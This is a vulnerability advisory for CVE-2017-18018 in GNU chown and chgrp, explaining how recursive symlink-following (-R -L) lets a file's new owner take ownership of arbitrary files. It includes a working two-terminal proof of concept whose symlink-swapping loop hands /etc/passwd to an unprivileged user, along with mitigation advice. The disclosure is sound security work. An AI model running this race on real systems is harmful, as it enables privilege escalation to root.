michael orlitzky

CVE-2017-18018: GNU chown and chgrp privilege escalation via recursive dereferences

posted 2018-01-04

Product
GNU chown and chgrp (coreutils)
Versions affected
8.29 and earlier
Published on
2018-01-04
Bug report
https://lists.gnu.org/archive/html/coreutils/2017-12/msg00045.html
MITRE
CVE-2017-18018
OSS-security
https://www.openwall.com/lists/oss-security/2018/01/04/3

Summary

The chown program in GNU coreutils is vulnerable to a race condition when using the POSIX -R -L options to follow symlinks recursively. In the presence of symlinks, the recursive directory traversal is not guaranteed to be performed depth-first. As a result, the “new owner” may be able to introduce a symlink at a point in the traversal that has yet to be reached. When it is reached, chown will be performed on the target of that symlink—a situation that is often exploitable to gain root privileges.

The chgrp program is implemented with chown and is vulnerable in the same way when used on group-writable paths.

Details

When calling GNU chown recursively, there is an “obvious” race condition that is handled correctly:

mjo $ sudo mkdir -p foo/bar

mjo $ sudo chown --verbose --recursive mjo foo

changed ownership of 'foo/bar' from root to mjo

changed ownership of 'foo' from root to mjo

If the order was switched (that is, if the traversal was not depth-first), then there would be a period of time where mjo (as the owner of foo) could do bad things to foo/bar before chown was called on it. But so far so good: the order above is safe, and chown does not follow symlinks by default with --recursive or -R.

The bad news: if, in addition, you pass the POSIX -L flag to chown, then the new owner of foo can exploit the situation. The main idea is to use a symlink that points “up” to reorder the traversal, and then to exploit the aforementioned race condition. If you're lucky, the race can be won with a naive loop in a second shell. The unlucky (or merely impatient) reader might want to add some sleep() calls after the printf() statements in src/chown-core.c.

Terminal 1 (root)

root # mkdir -p /var/www/chown-test && cd /var/www

root # mkdir chown-test/foo

root # mkdir chown-test/bar

root # ln -s ../bar chown-test/foo/quux

root # touch chown-test/bar/baz

Terminal 2 (mjo)

mjo $ cd /var/www/chown-test/bar

mjo $ while true; do ln -s -f /etc/passwd ./baz; done;

Terminal 1 (root)

root # chown --verbose --recursive -L mjo chown-test

changed ownership of 'chown-test/foo/quux/baz' from root to mjo

changed ownership of 'chown-test/foo/quux' from root to mjo

changed ownership of 'chown-test/foo' from root to mjo

changed ownership of 'chown-test/bar/baz' from root to mjo

ownership of 'chown-test/bar' retained as mjo

changed ownership of 'chown-test' from root to mjo

The verbose output shows that happens. The depth-first traversal follows the symlink and changes ownership of foo/quux (which points to bar) before it changes ownership of bar/baz. Between the two operations, mjo should be able to replace bar/baz with a symlink to a path of his choosing. Indeed, the attack has worked, because mjo now owns /etc/passwd:

root # ls -l /etc/passwd

-rw-r--r-- 1 mjo root 1.5K 2017-12-17 18:34 /etc/passwd

Note that the --dereference flag implies the same problem. Along with --recursive, the --dereference flag forces you to set either -H or -L, and in that context, choosing -H won't prevent the link itself from being dereferenced (notabug 29788).

The chgrp program is vulnerable in exactly the same way, but to a lesser extent. With chown, the new owner can always replace files in the directories that he now owns; with chgrp, those directories need to be group-writable. But beware that any member of the new group can try to exploit the situation. The same considerations apply when chown is used to change groups instead of (or in addition to) ownership.

Mitigation

The two flags -R and -L are specified by POSIX, so their behavior can't be changed much. Avoid using chown or chgrp recursively. And if you do, for chrissakes, don't also use -L.